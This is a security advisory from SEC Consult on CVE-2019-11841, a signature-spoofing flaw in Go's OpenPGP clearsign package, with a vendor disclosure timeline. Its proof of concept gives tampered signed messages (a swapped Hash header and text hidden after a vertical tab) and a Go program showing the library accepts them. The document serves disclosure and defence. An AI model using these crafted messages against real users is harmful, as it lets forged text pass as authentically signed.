Cleartext message spoofing in Go Cryptography Libraries (CVE-2019-11841)

Project Description

The vulnerability found in supplementary Go Cryptography Libraries (clearsign package) allows an attacker to spoof clearsign OpenPGP messages.


Vendor description

“Package clearsign generates and processes OpenPGP, clear-signed data. See RFC 4880, section 7.

Clearsigned messages are cryptographically signed, but the contents of the message are kept in plaintext so that it can be read without special tools.”

Source: https://godoc.org/golang.org/x/crypto/openpgp/clearsign

 

Business recommendation

During a short security test, SEC Consult found a severe security vulnerability in the clearsign package of supplementary Go cryptography libraries. This vulnerability could allow an attacker:

  • to lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used;
  • to spoof clearsign OpenPGP messages by prepending arbitrary text to cleartext messages without invalidating the signatures.

 

Vulnerability overview/description

1) Cleartext message spoofing

According to RFC 4880 chapter 7 the cleartext signed message can contain one or more optional “Hash” Armor Headers. The “Hash” Armor Header specifies the message digest algorithm(s) used for the signature. However, the package “clearsign” in supplementary Go cryptography libraries ignores the value of this header which allows an attacker to spoof it.

Thereby an attacker can lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used. Moreover, since the library skips Armor Header parsing in general, an attacker can not only embed arbitrary Armor Headers, but also prepend arbitrary text to cleartext messages without invalidating the signatures.

 

Proof of concept

1) Cleartext message spoofing

The following cleartext message with a valid SHA-1 signature was generated using GnuPG:

(content of no_spoof.asc file):

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----

Then the message was tampered by changing the value of the “Hash” Armor Header from SHA-1 to SHA-512:

(content of hash_spoof.asc file):

------BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----

Finally, a string containing Unicode-encoded “LINE TABULATION” was embedded in the Armor Header of the message:

(content of cleartext_spoof.asc file):

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512\u000bThis data is part of the header
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----

When inserting the “LINE TABULATION” character, the header text after the attached character looks as if it were part of a message when it is actually part of the Armor Header. The signature verification performed by the library determined all signatures to be valid (see contents of sig_spoof.go file below):

$ go run sig_spoof.go
Verifying not tampered...
Signature accepted!
Verifying spoofed hash...
Signature accepted!
Verifying spoofed cleartext...
Signature accepted!

In comparison, only the unmodified message passed the signature check performed by GnuPG:

$ gpg no_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: Good signature from "crypto >crypto@crypto.com<" [ultimate]
$ gpg hash_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: WARNING: signature digest conflict in message
gpg: Can't check signature: General error
$ gpg cleartext_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: invalid clearsig header
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: BAD signature from "crypto >crypto@crypto.com<" [ultimate]

(content of cleartext_spoof.asc file):

package main
import ("fmt"
		"golang.org/x/crypto/openpgp/clearsign"
		"golang.org/x/crypto/openpgp"
		"bytes"
		)

func verify(input []byte) {
	var err error
	b, _:= clearsign.Decode(input)
	if b == nil {
		fmt.Println("No clearsign text found")
		return
	}
	keyring, err :=
	openpgp.ReadArmoredKeyRing(bytes.NewBufferString(signingKey))
	if err != nil {
		fmt.Println(err)
		return
	}
	if _, err := openpgp.CheckDetachedSignature(keyring,
		bytes.NewBuffer(b.Bytes), b.ArmoredSignature.Body); err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("Signature accepted!\n")
}

func main() {
	fmt.Println("Verifying not tampered...")
	verify(no_spoof)
	fmt.Println("Verifying spoofed hash...")
	verify(hash_spoof)
	fmt.Println("Verifying spoofed cleartext...")
	verify(cleartext_spoof)
}

var no_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Message to be signed
-----BEGIN PGP SIGNATURE-----

iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)

var hash_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Message to be signed
-----BEGIN PGP SIGNATURE-----

iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)

var cleartext_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----` +
"\nHash: SHA512\u000bThis data is part of the header\n" +
`
Message to be signed
-----BEGIN PGP SIGNATURE-----

iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)

var signingKey = `-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFyeB6MBCAC+X0+7sQkrpg4zjQGj9NQSwPvDV5JjWxIXpf1n+mtrZewO8RvR
EO6OnMK/F6mjVKSE3rI9wnpeBoAnNvXgQHY9ckt3qgUq04LTgWoaj89LXi+QjazB
JJPa4cQtoraMtsT2mhIuG88VqPSlgSlvRBGD425kOh+jX7VPIeQIYLJ92G6nVgSV
aIh46n1kme/8PLd8BLFTNmCKr1axUZ118KX/d6y5uB1puPQJ6iZ+YYDk5K+xeQv8
RHyfIcVoGbVL+gR6iwukNxxmNdL6k0DfRwi/qESvOYJ483K1uo+08YvtgULSAKO4
BG/rxKynO4wtcMpe0YSPR+qG0rGF2bZ+trFxABEBAAG0GmNyeXB0byA8Y3J5cHRv
QGNyeXB0by5jb20+iQFUBBMBCAA+FiEEAXWUn665cAXgInLZXVs62dBO+u4FAlye
B6MCGwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQXVs62dBO+u6B
rwgArfFSrBiPYQkB9WkaZRyJqJMuYiG9tqbcYYp1Wui9gLPf/IS+iO+6WQGzZ7qp
vdoG45YGajNsxDcd0M7j0VKtq5VYiwF7AWB6aRsJDsdNFmJVgzJYiPTyDfFnx8jr
k1k74TE9ZI2GWpYca0sMT6wCtq8YbmhVB3bty7Zu1L9ahAklhyLpoH4T01NPc2ey
0VhUVQdmKtC0Eqn4tKvWUv4Gx6tGIv4xhZFuDqtoUNbFxvaHZBeURkZJr+jR/mDM
iXE3hpamCzLueBlA8cNJfDKCb0EnK2SngPYBwCSx4MVBNpRPuQveMAtx/o39PCPw
GN9fXHV6mwWFpdoA4RMP59Mqr7kBDQRcngejAQgA7n3wBQewsZYow0DFvGwj+g3m
nCuHqSAEGi1m6zr64dPtDKpR6F4L5nSVoDueki+uQeqz8IwH89+rJIyJZHMHhYD8
MwxdkE+6D9FssY+9kxMZgt50FjXcAFUvlkuDBpJFM8fZRHYyejc4jDw02PC/ssdZ
s5kEcaH00LzecaE+3XM3kQWXMNGePZ0yzwgqNSc3+WjSHvtA71JBJsxYWOUrq0W5
aOz9B/Z4Zcq6KNfRUrI1DVoW6P6qQCGwSrm6zyKxwG/LKQBKJRMYiebQ923iCPDN
9rvOaRfWFn5NH7A2M7PEkky6EWZVZpZTqoDZUJUbgmS9pxcEnPqaWkCvGjHXnQAR
AQABiQE8BBgBCAAmFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeB6MCGwwFCQPC
ZwAACgkQXVs62dBO+u665QgAihptwWQFiHPphHxA+LCeRvznBm56/s4nvxyNVKGn
pR1PpN4BVjv0/Tc+4qKJRvAi1kVqmNNCjhpcU8eLQ6enIz7Z2n3VYYbbzG5akvlQ
m8dYWVJWb8FPbBIp9AEG59mFkIz+wXfYJonGWh8+kRDtWAqBLmgvpDsZLPCGQgu0
+HYqht3EiLq7Yv7lw0H2dAYEWzhA/2m1+E43rNBFDxTqflmstux5L02P2JF00COu
oYstzhVvOHJL9nPPdrtbmRHvfm4+QniCAqW9TRzXwOY6P0h2RBf3d9o4Np8Z5JjZ
Rtv1+9ofUzvnkaTr+FXFjvw+baNF1pHMTVcc1f0IoT1Ymg==
=4/3D
-----END PGP PUBLIC KEY BLOCK-----
`

 

Vulnerable / tested versions

SEC Consult found the vulnerability in branch master commit a5d413f7728c81fb97d96a2b722368945f651e78 (origin https://github.com/golang/crypto.git).

This version was the latest version at the time of the discovery.

 

Vendor contact timeline

2019-04-10Contacting vendor through security@golang.org
2019-04-11Initial response: Issue will be investigated
2019-04-18Requesting status update
2019-04-24Vendor: the fix & announcement have been published
2019-05-06Contacting vendor regarding incomplete fix; no answer
2019-05-09Making a final decision to publish an advisory.

The decision is based on the following vendor statement: “Anyway, it’s entirely unclear what security purpose, if any, the Hash header accomplishes. If the hash is too weak to be secure or unsupported, the verification will fail. Otherwise, the user shouldn’t care. Given its dubious function, avoid breaking abstractions to check that it matches the signature, and just document it as unverified.” (commit log c05e17bb3b2dca130fc919668a96b4bec9eb9442)

2019-05-13Release of security advisory

 

Solution

The vendor provides a patch & security notice which can be retrieved here:

https://groups.google.com/d/msg/golang-openpgp/6vdgZoTgbIY/K6bBY9z3DAAJ

 

Workaround

Not available.

 

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

 

EOF Aida Mynzhasova / @2019

 

Interested to work with the experts of SEC Consult? Send us your application.
Want to improve your own cyber security with the experts of SEC Consult?
Contact our local offices.

Project Details

  • TitleCleartext message spoofing
  • ProductSupplementary Go Cryptography Libraries
  • Vulnerable versioncommit a5d413f7728c81fb97d96a2b722368945f651e78 branch master (https://github.com/golang/crypto.git)
  • Fixed versioncommit c05e17bb3b2dca130fc919668a96b4bec9eb9442
  • CVE numberCVE-2019-11841
  • Impacthigh
  • Homepagehttps://golang.org
  • Found2019-03-28
  • ByAida Mynzhasova (Office Berlin) | SEC Consult Vulnerability Lab

Cookie Preference

Please select an option. You can find more information about the consequences of your choice at Help.

Select an option to continue

Your selection was saved!

Help

Help

To continue, you must make a cookie selection. Below is an explanation of the different options and their meaning.

  • Accept all cookies:
    All cookies such as tracking and analytics cookies.
  • Accept first-party cookies only:
    Only cookies from this website.
  • Reject all tracking cookies:
    No cookies except for those necessary for technical reasons are set.

You can change your cookie setting here anytime: Blog. Blog

Back